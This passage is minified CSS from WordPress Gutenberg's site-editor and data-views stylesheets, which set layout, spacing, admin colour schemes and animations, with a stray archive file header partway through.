th{background-color:#fff;font-size:11px;font-weight:500;padding-bottom:8px;padding-right:12px;padding-top:8px;text-transform:uppercase}.dataviews-view-table thead th:has(.dataviews-view-table-header-button):not(:first-child){padding-right:4px}.dataviews-view-table tbody td{vertical-align:top}.dataviews-view-table tbody .dataviews-view-table__cell-content-wrapper{align-items:center;display:flex;min-height:32px}.dataviews-view-table tbody .components-v-stack>.dataviews-view-table__cell-content-wrapper:not(:first-child){min-height:0}.dataviews-view-table .dataviews-view-table-header-button{font-size:11px;font-weight:500;padding:4px 8px;text-transform:uppercase}.dataviews-view-table .dataviews-view-table-header-button:not(:hover){color:#1e1e1e}.dataviews-view-table .dataviews-view-table-header-button span{speak:none}.dataviews-view-table .dataviews-view-table-header-button span:empty{display:none}.dataviews-view-table .dataviews-view-table-header{padding-right:4px}.dataviews-view-table .dataviews-view-table__actions-column{width:1%}.dataviews-view-table:has(tr.is-selected) .components-checkbox-control__input{opacity:1}.dataviews-view-table.has-compact-density thead th:has(.dataviews-view-table-header-button):not(:first-child){padding-right:0}.dataviews-view-table.has-compact-density td,.dataviews-view-table.has-compact-density th{padding:4px 8px}.dataviews-view-table.has-comfortable-density td,.dataviews-view-table.has-comfortable-density th{padding:16px 12px}.dataviews-view-table.has-comfortable-density td.dataviews-view-table__checkbox-column,.dataviews-view-table.has-comfortable-density th.dataviews-view-table__checkbox-column,.dataviews-view-table.has-compact-density td.dataviews-view-table__checkbox-column,.dataviews-view-table.has-compact-density th.dataviews-view-table__checkbox-column{padding-left:0}@container (max-width: 430px){.dataviews-view-table tr td:first-child,.dataviews-view-table tr th:first-child{padding-right:24px}.dataviews-view-table tr td:last-child,.dataviews-view-table tr th:last-child{padding-left:24px}}.dataviews-view-table-selection-checkbox{--checkbox-input-size:24px}@media (min-width:600px){.dataviews-view-table-selection-checkbox{--checkbox-input-size:16px}}.dataviews-column-primary__media{max-width:60px}.dataviews-controls__datetime{border:none;padding:0}.dataforms-layouts-panel__field{align-items:flex-start!important;justify-content:flex-start!important;min-height:32px;width:100%}.dataforms-layouts-panel__field-label{align-items:center;display:flex;flex-shrink:0;hyphens:auto;line-height:20px;min-height:32px;padding:6px 0;width:38%}.dataforms-layouts-panel__field-control{align-items:center;display:flex;flex-grow:1;min-height:32px}.dataforms-layouts-panel__field-control .components-button{max-width:100%;min-height:32px;text-align:right;text-wrap:balance;text-wrap:pretty;white-space:normal}.dataforms-layouts-panel__field-control .components-dropdown{max-width:100%}.dataforms-layouts-panel__field-dropdown .components-popover__content{min-width:320px;padding:16px}.dataforms-layouts-panel__dropdown-header{margin-bottom:16px}.components-popover.components-dropdown__content.dataforms-layouts-panel__field-dropdown{z-index:159990}.dataforms-layouts-regular__field{align-items:flex-start!important;justify-content:flex-start!important;min-height:32px;width:100%}.dataforms-layouts-regular__field .components-base-control__label{font-size:inherit;font-weight:400;text-transform:none}.dataforms-layouts-regular__field-label{align-items:center;display:flex;flex-shrink:0;hyphens:auto;line-height:20px;min-height:32px;padding:6px 0;width:38%}.dataforms-layouts-regular__field-control{align-items:center;display:flex;flex-grow:1;min-height:32px}.edit-site-layout{color:#ccc;display:flex;flex-direction:column;height:100%}.edit-site-layout,.edit-site-layout:not(.is-full-canvas) .editor-visual-editor{background:#1e1e1e}.edit-site-layout__content{display:flex;flex-grow:1;height:100%}.edit-site-layout__sidebar-region{flex-shrink:0;width:100vw;z-index:1}@media (min-width:782px){.edit-site-layout__sidebar-region{width:300px}}.edit-site-layout.is-full-canvas .edit-site-layout__sidebar-region{height:100vh;position:fixed!important;right:0;top:0}.edit-site-layout__sidebar-region .edit-site-layout__sidebar{display:flex;flex-direction:column;height:100%}.edit-site-layout__sidebar-region .resizable-editor__drag-handle{left:0}.edit-site-layout__main{display:flex;flex-direction:column;flex-grow:1;overflow:hidden}.edit-site-layout__mobile{display:flex;flex-direction:column;position:relative;width:100%;z-index:2}.edit-site-layout__mobile .edit-site-sidebar__screen-wrapper{padding:0}.edit-site-layout__mobile .edit-site-sidebar-navigation-screen__main{padding:0 12px}.edit-site-layout__canvas-container{flex-grow:1;overflow:visible;position:relative;z-index:2}.edit-site-layout__canvas-container.is-resizing:after{bottom:0;content:"";left:0;position:absolute;right:0;top:0;z-index:100}.edit-site-layout__canvas{align-items:center;bottom:0;display:flex;justify-content:center;position:absolute;right:0;top:0;width:100%}.edit-site-layout__canvas.is-right-aligned{justify-content:flex-end}.edit-site-layout__canvas .edit-site-resizable-frame__inner{color:#1e1e1e}@media (min-width:782px){.edit-site-layout__canvas{bottom:16px;top:16px;width:calc(100% - 16px)}.edit-site-layout__canvas .edit-site-resizable-frame__inner-content{box-shadow:0 1px 1px #00000008,0 1px 2px #00000005,0 3px 3px #00000005,0 4px 4px #00000003;overflow:hidden}}@media (min-width:782px) and (not (prefers-reduced-motion)){.edit-site-layout__canvas .edit-site-resizable-frame__inner-content{transition:border-radius,box-shadow .4s}}@media (min-width:782px){.edit-site-layout:not(.is-full-canvas) .edit-site-layout__canvas .edit-site-resizable-frame__inner-content{border-radius:8px}.edit-site-layout__canvas .edit-site-resizable-frame__inner-content:hover{box-shadow:0 5px 15px #00000014,0 15px 27px #00000012,0 30px 36px #0000000a,0 50px 43px #00000005}}.edit-site-layout.is-full-canvas .edit-site-layout__canvas{bottom:0;top:0;width:100%}.edit-site-layout__canvas .interface-interface-skeleton,.edit-site-layout__mobile .interface-interface-skeleton,.edit-site-template-pages-preview .interface-interface-skeleton{min-height:100%!important;position:relative!important}.edit-site-template-pages-preview{height:100%}html.canvas-mode-edit-transition::view-transition-group(toggle){animation-delay:255ms}@media (prefers-reduced-motion){::view-transition-group(*),::view-transition-new(*),::view-transition-old(*){animation:none!important}}.edit-site-layout.is-full-canvas .edit-site-layout__sidebar-region .edit-site-layout__view-mode-toggle{display:none}.edit-site-layout__view-mode-toggle.components-button{view-transition-name:toggle;align-items:center;background:#1e1e1e;border-radius:0;color:#fff;display:flex;height:60px;justify-content:center;overflow:hidden;padding:0;position:relative;width:60px}.edit-site-layout__view-mode-toggle.components-button:active,.edit-site-layout__view-mode-toggle.components-button:hover{color:#fff}.edit-site-layout__view-mode-toggle.components-button:focus,.edit-site-layout__view-mode-toggle.components-button:focus-visible{box-shadow:0 0 0 3px #1e1e1e,0 0 0 6px var(--wp-admin-theme-color);outline:4px solid #0000;outline-offset:4px}.edit-site-layout__view-mode-toggle.components-button:before{border-radius:4px;bottom:9px;box-shadow:none;content:"";display:block;left:9px;position:absolute;right:9px;top:9px}@media not (prefers-reduced-motion){.edit-site-layout__view-mode-toggle.components-button:before{transition:box-shadow .1s ease}}.edit-site-layout__view-mode-toggle.components-button .edit-site-layout__view-mode-toggle-icon{align-items:center;display:flex;height:60px;justify-content:center;width:60px}.edit-site-layout__actions{background:#fff;bottom:auto;color:#1e1e1e;left:0;position:fixed!important;right:auto;top:-9999em;width:280px;z-index:100000}.edit-site-layout__actions:focus,.edit-site-layout__actions:focus-within{bottom:0;top:auto}.edit-site-layout__actions.is-entity-save-view-open:focus,.edit-site-layout__actions.is-entity-save-view-open:focus-within{top:0}@media (min-width:782px){.edit-site-layout__actions{border-right:1px solid #ddd}}.edit-site-layout__area{box-shadow:0 1px 1px #00000008,0 1px 2px #00000005,0 3px 3px #00000005,0 4px 4px #00000003;flex-grow:1;margin:0;overflow:hidden}@media (min-width:782px){.edit-site-layout__area{border-radius:8px;margin:16px 0 16px 16px}}.edit-site .components-editor-notices__snackbar{bottom:16px;left:0;padding-left:16px;padding-right:16px;position:fixed}.edit-site-page{background:#fff;color:#2f2f2f;container:edit-site-page/inline-size;height:100%}@media not (prefers-reduced-motion){.edit-site-page{transition:width .2s ease-out}}.edit-site-page-header{background:#fff;border-bottom:1px solid #f0f0f0;padding:16px 48px;position:sticky;top:0;z-index:2}@media not (prefers-reduced-motion){.edit-site-page-header{transition:padding .1s ease-out}}.edit-site-page-header .components-heading{color:#1e1e1e}.edit-site-page-header .edit-site-page-header__page-title{min-height:40px}.edit-site-page-header .edit-site-page-header__page-title .components-heading{flex-basis:0;flex-grow:1;white-space:nowrap}.edit-site-page-header .edit-site-page-header__sub-title{margin-bottom:8px}@container (max-width: 430px){.edit-site-page-header{padding:16px 24px}}.edit-site-page-content{display:flex;flex-flow:column;height:100%;position:relative;z-index:1}.edit-site-save-hub{border-top:1px solid #2f2f2f;color:#949494;flex-shrink:0;margin:0;padding:16px}.edit-site-save-hub__button{color:inherit;justify-content:center;width:100%}.edit-site-save-hub__button[aria-disabled=true]{opacity:1}.edit-site-save-hub__button[aria-disabled=true]:hover{color:inherit}.edit-site-save-hub__button:not(.is-primary).is-busy,.edit-site-save-hub__button:not(.is-primary).is-busy[aria-disabled=true]:hover{color:#1e1e1e}@media (min-width:600px){.edit-site-save-panel__modal{width:600px}}.edit-site-sidebar__content{contain:content;flex-grow:1;overflow-x:hidden;overflow-y:auto}@keyframes _fwjws_slide-from-right{0%{opacity:0;transform:translateX(-50px)}to{opacity:1;transform:none}}@keyframes _fwjws_slide-from-left{0%{opacity:0;transform:translateX(50px)}to{opacity:1;transform:none}}.edit-site-sidebar__screen-wrapper{animation-duration:.14s;animation-timing-function:ease-in-out;display:flex;flex-direction:column;height:100%;max-height:100%;overflow-x:auto;padding:0 12px;scrollbar-color:#0000 #0000;scrollbar-gutter:stable both-edges;scrollbar-gutter:stable;scrollbar-width:thin;will-change:transform;will-change:transform,opacity}.edit-site-sidebar__screen-wrapper::-webkit-scrollbar{height:12px;width:12px}.edit-site-sidebar__screen-wrapper::-webkit-scrollbar-track{background-color:initial}.edit-site-sidebar__screen-wrapper::-webkit-scrollbar-thumb{background-clip:padding-box;background-color:initial;border:3px solid #0000;border-radius:8px}.edit-site-sidebar__screen-wrapper:focus-within::-webkit-scrollbar-thumb,.edit-site-sidebar__screen-wrapper:focus::-webkit-scrollbar-thumb,.edit-site-sidebar__screen-wrapper:hover::-webkit-scrollbar-thumb{background-color:#757575}.edit-site-sidebar__screen-wrapper:focus,.edit-site-sidebar__screen-wrapper:focus-within,.edit-site-sidebar__screen-wrapper:hover{scrollbar-color:#757575 #0000}@media (hover:none){.edit-site-sidebar__screen-wrapper{scrollbar-color:#757575 #0000}}@media (prefers-reduced-motion:reduce){.edit-site-sidebar__screen-wrapper{animation-duration:0s}}.edit-site-sidebar__screen-wrapper.slide-from-left{animation-name:_fwjws_slide-from-left}.edit-site-sidebar__screen-wrapper.slide-from-right{animation-name:_fwjws_slide-from-right}.edit-site-site-hub{align-items:center;display:flex;gap:8px;height:60px;justify-content:space-between;margin-left:12px}.edit-site-site-hub__actions{flex-shrink:0}.edit-site-site-hub__view-mode-toggle-container{flex-shrink:0;height:60px;width:60px}.edit-site-site-hub__view-mode-toggle-container.has-transparent-background .edit-site-layout__view-mode-toggle-icon{background:#0000}.edit-site-site-hub__title .components-button{color:#e0e0e0;display:block;flex-grow:1;font-size:15px;font-weight:500;margin-right:-4px;overflow:hidden;padding-left:16px;position:relative;text-decoration:none;text-overflow:ellipsis;white-space:nowrap}.edit-site-site-hub__title .components-button:active,.edit-site-site-hub__title .components-button:focus,.edit-site-site-hub__title .components-button:hover{color:#e0e0e0}.edit-site-site-hub__title .components-button:focus{box-shadow:none;outline:none}.edit-site-site-hub__title .components-button:focus-visible{box-shadow:0 0 0 var(--wp-admin-border-width-focus) #1e1e1e,0 0 0 calc(var(--wp-admin-border-width-focus)*2) var(--wp-admin-theme-color);outline:2px solid #0000;outline-offset:2px}.edit-site-site-hub__title .components-button:after{content:"↗";font-weight:400;left:0;opacity:0;position:absolute}@media not (prefers-reduced-motion){.edit-site-site-hub__title .components-button:after{transition:opacity .1s linear}}.edit-site-site-hub__title .components-button:active:after,.edit-site-site-hub__title .components-button:focus:after,.edit-site-site-hub__title .components-button:hover:after{opacity:1}.edit-site-site-hub_toggle-command-center{color:#e0e0e0}.edit-site-site-hub_toggle-command-center:active svg,.edit-site-site-hub_toggle-command-center:hover svg{fill:#f0f0f0}.edit-site-site-icon__icon{fill:currentColor;height:100%;width:100%}.edit-site-layout.is-full-canvas .edit-site-site-icon__icon{padding:12px}.edit-site-site-icon__image{aspect-ratio:1/1;background:#333;height:100%;object-fit:cover;width:100%}.edit-site-layout.is-full-canvas .edit-site-site-icon__image{border-radius:0}.edit-site-editor__view-mode-toggle button:focus{position:relative}.edit-site-editor__view-mode-toggle button:focus:before{bottom:0;box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color),inset 0 0 0 calc(1px + var(--wp-admin-border-width-focus)) #fff;content:"";display:block;left:0;position:absolute;right:0;top:0;z-index:1}.edit-site-editor-canvas-container{background-color:#ddd;height:100%}.edit-site-editor-canvas-container iframe{display:block;height:100%;width:100%}.edit-site-layout.is-full-canvas .edit-site-editor-canvas-container{padding:24px 24px 0}.edit-site-editor-canvas-container__section{background:#fff;border-radius:8px;bottom:0;left:0;overflow:hidden;position:absolute;right:0;top:0}@media not (prefers-reduced-motion){.edit-site-editor-canvas-container__section{transition:all .3s}}.edit-site-editor-canvas-container__close-button{background:#fff;left:8px;position:absolute;top:8px;z-index:2}.edit-site-post-list__featured-image{height:100%;object-fit:cover;width:100%}.edit-site-post-list__featured-image-wrapper{border-radius:4px;height:100%;width:100%}.edit-site-post-list__featured-image-wrapper.is-layout-table .edit-site-post-list__featured-image-button,.edit-site-post-list__featured-image-wrapper.is-layout-table:not(:has(.edit-site-post-list__featured-image-button)){background-color:#f0f0f0;border-radius:4px;display:block;flex-grow:0!important;height:32px;overflow:hidden;position:relative;width:32px}.edit-site-post-list__featured-image-wrapper.is-layout-table .edit-site-post-list__featured-image-button:after,.edit-site-post-list__featured-image-wrapper.is-layout-table:not(:has(.edit-site-post-list__featured-image-button)):after{border-radius:4px;box-shadow:inset 0 0 0 1px #0000001a;content:"";height:100%;position:absolute;right:0;top:0;width:100%}.edit-site-post-list__featured-image-button{background-color:unset;border:none;border-radius:4px;box-shadow:none;box-sizing:border-box;cursor:pointer;height:100%;overflow:hidden;padding:0;width:100%}.edit-site-post-list__featured-image-button:focus-visible{box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);outline:2px solid #0000}.dataviews-view-grid__card.is-selected .edit-site-post-list__featured-image-button:after{background:rgba(var(--wp-admin-theme-color--rgb),.04);box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color)}.edit-site-post-list__status-icon{height:24px;width:24px}.edit-site-post-list__status-icon svg{fill:currentColor;margin-right:-4px}.edit-site-resizable-frame__inner{position:relative}body:has(.edit-site-resizable-frame__inner.is-resizing){cursor:col-resize;user-select:none;-webkit-user-select:none}.edit-site-resizable-frame__inner.is-resizing:before{content:"";inset:0;position:absolute;z-index:1}.edit-site-resizable-frame__inner-content{inset:0;position:absolute;z-index:0}.edit-site-resizable-frame__handle{align-items:center;background-color:#75757566;border:0;border-radius:4px;cursor:col-resize;display:flex;height:64px;justify-content:flex-end;padding:0;position:absolute;top:calc(50% - 32px);width:4px;z-index:100}.edit-site-resizable-frame__handle:before{content:"";height:100%;position:absolute;right:100%;width:32px}.edit-site-resizable-frame__handle:after{content:"";height:100%;left:100%;position:absolute;width:32px}.edit-site-resizable-frame__handle:focus-visible{outline:2px solid #0000}.edit-site-resizable-frame__handle.is-resizing,.edit-site-resizable-frame__handle:focus,.edit-site-resizable-frame__handle:hover{background-color:var(--wp-admin-theme-color)}body.admin-color-light{--wp-admin-theme-color:#0085ba;--wp-admin-theme-color--rgb:0,133,186;--wp-admin-theme-color-darker-10:#0073a1;--wp-admin-theme-color-darker-10--rgb:0,115,161;--wp-admin-theme-color-darker-20:#006187;--wp-admin-theme-color-darker-20--rgb:0,97,135;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-light{--wp-admin-border-width-focus:1.5px}}body.admin-color-modern{--wp-admin-theme-color:#3858e9;--wp-admin-theme-color--rgb:56,88,233;--wp-admin-theme-color-darker-10:#2145e6;--wp-admin-theme-color-darker-10--rgb:33,69,230;--wp-admin-theme-color-darker-20:#183ad6;--wp-admin-theme-color-darker-20--rgb:24,58,214;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-modern{--wp-admin-border-width-focus:1.5px}}body.admin-color-blue{--wp-admin-theme-color:#096484;--wp-admin-theme-color--rgb:9,100,132;--wp-admin-theme-color-darker-10:#07526c;--wp-admin-theme-color-darker-10--rgb:7,82,108;--wp-admin-theme-color-darker-20:#064054;--wp-admin-theme-color-darker-20--rgb:6,64,84;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-blue{--wp-admin-border-width-focus:1.5px}}body.admin-color-coffee{--wp-admin-theme-color:#46403c;--wp-admin-theme-color--rgb:70,64,60;--wp-admin-theme-color-darker-10:#383330;--wp-admin-theme-color-darker-10--rgb:56,51,48;--wp-admin-theme-color-darker-20:#2b2724;--wp-admin-theme-color-darker-20--rgb:43,39,36;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-coffee{--wp-admin-border-width-focus:1.5px}}body.admin-color-ectoplasm{--wp-admin-theme-color:#523f6d;--wp-admin-theme-color--rgb:82,63,109;--wp-admin-theme-color-darker-10:#46365d;--wp-admin-theme-color-darker-10--rgb:70,54,93;--wp-admin-theme-color-darker-20:#3a2c4d;--wp-admin-theme-color-darker-20--rgb:58,44,77;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-ectoplasm{--wp-admin-border-width-focus:1.5px}}body.admin-color-midnight{--wp-admin-theme-color:#e14d43;--wp-admin-theme-color--rgb:225,77,67;--wp-admin-theme-color-darker-10:#dd382d;--wp-admin-theme-color-darker-10--rgb:221,56,45;--wp-admin-theme-color-darker-20:#d02c21;--wp-admin-theme-color-darker-20--rgb:208,44,33;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-midnight{--wp-admin-border-width-focus:1.5px}}body.admin-color-ocean{--wp-admin-theme-color:#627c83;--wp-admin-theme-color--rgb:98,124,131;--wp-admin-theme-color-darker-10:#576e74;--wp-admin-theme-color-darker-10--rgb:87,110,116;--wp-admin-theme-color-darker-20:#4c6066;--wp-admin-theme-color-darker-20--rgb:76,96,102;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-ocean{--wp-admin-border-width-focus:1.5px}}body.admin-color-sunrise{--wp-admin-theme-color:#dd823b;--wp-admin-theme-color--rgb:221,130,59;--wp-admin-theme-color-darker-10:#d97426;--wp-admin-theme-color-darker-10--rgb:217,116,38;--wp-admin-theme-color-darker-20:#c36922;--wp-admin-theme-color-darker-20--rgb:195,105,34;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-sunrise{--wp-admin-border-width-focus:1.5px}}#adminmenumain,#wpadminbar{display:none}#wpcontent{margin-right:0}body.js #wpbody{padding-top:0}body{background:#fff}body #wpcontent{padding-right:0}body #wpbody-content{padding-bottom:0}body #wpbody-content>div:not(#gutenberg-posts-dashboard):not(#screen-meta),body #wpfooter{display:none}body .a11y-speak-region{right:-1px;top:-1px}body ul#adminmenu a.wp-has-current-submenu:after,body ul#adminmenu>li.current>a.current:after{border-left-color:#fff}body .media-frame select.attachment-filters:last-of-type{max-width:100%;width:auto}#gutenberg-posts-dashboard{box-sizing:border-box;height:100vh}#gutenberg-posts-dashboard *,#gutenberg-posts-dashboard :after,#gutenberg-posts-dashboard :before{box-sizing:inherit}@media (min-width:600px){#gutenberg-posts-dashboard{bottom:0;left:0;min-height:100vh;position:fixed;right:0;top:0}}.no-js #gutenberg-posts-dashboard{min-height:0;position:static}#gutenberg-posts-dashboard .components-editor-notices__snackbar{bottom:16px;left:0;padding-left:16px;padding-right:16px;position:fixed}PK1Xd[IRmkkdist/edit-site/style.min.cssnu�[���@charset "UTF-8";:root{--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,161;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--wp-admin-border-width-focus:2px;--wp-block-synced-color:#7a00df;--wp-block-synced-color--rgb:122,0,223;--wp-bound-block-color:var(--wp-block-synced-color)}@media (min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.dataviews-wrapper{box-sizing:border-box;container:dataviews-wrapper/inline-size;display:flex;flex-direction:column;font-size:13px;height:100%;line-height:1.4;overflow:auto;scroll-padding-bottom:64px}.dataviews-filters__container,.dataviews__view-actions{box-sizing:border-box;flex-shrink:0;left:0;padding:16px 48px;position:sticky}@media not (prefers-reduced-motion){.dataviews-filters__container,.dataviews__view-actions{transition:padding .1s ease-out}}.dataviews-loading,.dataviews-no-results{align-items:center;display:flex;flex-grow:1;justify-content:center;padding:0 48px}@media not (prefers-reduced-motion){.dataviews-loading,.dataviews-no-results{transition:padding .1s ease-out}}@container (max-width: 430px){.dataviews-filters__container,.dataviews__view-actions{padding:12px 24px}.dataviews-loading,.dataviews-no-results{padding-left:24px;padding-right:24px}}.dataviews-title-field{font-size:13px;font-weight:500;width:100%}.dataviews-title-field,.dataviews-title-field a{color:#2f2f2f;text-overflow:ellipsis;white-space:nowrap}.dataviews-title-field a{display:block;flex-grow:0;overflow:hidden;text-decoration:none}.dataviews-title-field a:hover{color:var(--wp-admin-theme-color)}.dataviews-title-field a:focus{border-radius:2px;box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color,#007cba);color:var(--wp-admin-theme-color--rgb)}.dataviews-title-field button.components-button.is-link{color:#1e1e1e;display:block;font-weight:inherit;overflow:hidden;text-decoration:none;text-overflow:ellipsis;white-space:nowrap;width:100%}.dataviews-title-field button.components-button.is-link:hover{color:var(--wp-admin-theme-color)}.dataviews-title-field--clickable{color:#2f2f2f;cursor:pointer}.dataviews-title-field--clickable:hover{color:var(--wp-admin-theme-color)}.dataviews-title-field--clickable:focus{border-radius:2px;box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color,#007cba);color:var(--wp-admin-theme-color--rgb)}.dataviews-bulk-actions-footer__item-count{color:#1e1e1e;font-size:11px;font-weight:500;text-transform:uppercase}.dataviews-bulk-actions-footer__container{margin-right:auto;min-height:32px}.dataviews-filters__button{position:relative}.dataviews-filters__container{padding-top:0}.dataviews-filters__reset-button.dataviews-filters__reset-button[aria-disabled=true],.dataviews-filters__reset-button.dataviews-filters__reset-button[aria-disabled=true]:hover{opacity:0}.dataviews-filters__reset-button.dataviews-filters__reset-button[aria-disabled=true]:focus{opacity:1}.dataviews-filters__summary-popover{font-size:13px;line-height:1.4}.dataviews-filters__summary-popover .components-popover__content{border-radius:4px;width:230px}.dataviews-filters__summary-popover.components-dropdown__content .components-popover__content{padding:0}.dataviews-filters__summary-operators-container{padding:8px 8px 0}.dataviews-filters__summary-operators-container:has(+.dataviews-filters__search-widget-listbox){border-bottom:1px solid #e0e0e0;padding-bottom:8px}.dataviews-filters__summary-operators-container:empty{display:none}.dataviews-filters__summary-operators-container .dataviews-filters__summary-operators-filter-name{color:#757575}.dataviews-filters__summary-chip-container{position:relative;white-space:pre-wrap}.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip{align-items:center;background:#f0f0f0;border:1px solid #0000;border-radius:16px;box-sizing:border-box;color:#2f2f2f;cursor:pointer;display:flex;min-height:32px;padding:4px 12px;position:relative}.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip.has-reset{padding-inline-end:28px}.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip:focus-visible,.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip:hover,.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip[aria-expanded=true]{background:#e0e0e0;color:#1e1e1e}.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip.has-values{background:rgba(var(--wp-admin-theme-color--rgb),.04);color:var(--wp-admin-theme-color)}.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip.has-values:hover,.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip.has-values[aria-expanded=true]{background:rgba(var(--wp-admin-theme-color--rgb),.12)}.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip:focus-visible{box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);outline:none}.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip .dataviews-filters-__summary-filter-text-name{font-weight:500}.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip-remove{align-items:center;background:#0000;border:0;border-radius:50%;cursor:pointer;display:flex;height:24px;justify-content:center;padding:0;position:absolute;right:4px;top:50%;transform:translateY(-50%);width:24px}.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip-remove svg{fill:#757575}.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip-remove:focus,.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip-remove:hover{background:#e0e0e0}.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip-remove:focus svg,.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip-remove:hover svg{fill:#1e1e1e}.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip-remove.has-values svg{fill:var(--wp-admin-theme-color)}.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip-remove.has-values:hover{background:rgba(var(--wp-admin-theme-color--rgb),.08)}.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip-remove:focus-visible{box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);outline:none}.dataviews-filters__search-widget-filter-combobox-list{border-top:1px solid #e0e0e0;max-height:184px;overflow:auto;padding:4px}.dataviews-filters__search-widget-filter-combobox-list .dataviews-filters__search-widget-filter-combobox-item-value [data-user-value]{font-weight:600}.dataviews-filters__search-widget-listbox{overflow:auto;padding:4px}.dataviews-filters__search-widget-listitem{align-items:center;border-radius:2px;box-sizing:border-box;cursor:default;display:flex;gap:8px;margin-block-end:2px;padding:8px 12px}.dataviews-filters__search-widget-listitem:last-child{margin-block-end:0}.dataviews-filters__search-widget-listitem:focus,.dataviews-filters__search-widget-listitem:hover,.dataviews-filters__search-widget-listitem[data-active-item]{background-color:var(--wp-admin-theme-color);color:#fff}.dataviews-filters__search-widget-listitem:focus .dataviews-filters__search-widget-listitem-check,.dataviews-filters__search-widget-listitem:hover .dataviews-filters__search-widget-listitem-check,.dataviews-filters__search-widget-listitem[data-active-item] .dataviews-filters__search-widget-listitem-check{fill:#fff}.dataviews-filters__search-widget-listitem:focus .dataviews-filters__search-widget-listitem-description,.dataviews-filters__search-widget-listitem:hover .dataviews-filters__search-widget-listitem-description,.dataviews-filters__search-widget-listitem[data-active-item] .dataviews-filters__search-widget-listitem-description{color:#fff}.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-check{flex-shrink:0;height:24px;width:24px}.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-description{color:#757575;display:block;font-size:12px;line-height:16px;overflow:hidden;text-overflow:ellipsis}.dataviews-filters__search-widget-filter-combobox__wrapper{padding:8px;position:relative}.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input{background:#f0f0f0;border:none;border-radius:2px;box-shadow:0 0 0 #0000;display:block;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:16px;height:32px;line-height:normal;margin-left:0;margin-right:0;padding:0 32px 0 8px;width:100%}@media not (prefers-reduced-motion){.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input{transition:box-shadow .1s linear}}@media (min-width:600px){.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input{font-size:13px;line-height:normal}}.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input:focus{border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 .5px var(--wp-admin-theme-color);outline:2px solid #0000}.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input::-webkit-input-placeholder{color:#1e1e1e9e}.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input::-moz-placeholder{color:#1e1e1e9e}.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input:-ms-input-placeholder{color:#1e1e1e9e}@media (min-width:600px){.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input{font-size:13px}}.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input:focus{background:#fff;box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color)}.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input::placeholder{color:#757575}.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input::-webkit-search-cancel-button,.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input::-webkit-search-decoration,.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input::-webkit-search-results-button,.dataviews-filters__search-widget-filter-combobox__wrapper .dataviews-filters__search-widget-filter-combobox__input::-webkit-search-results-decoration{-webkit-appearance:none}.dataviews-filters__search-widget-filter-combobox__wrapper 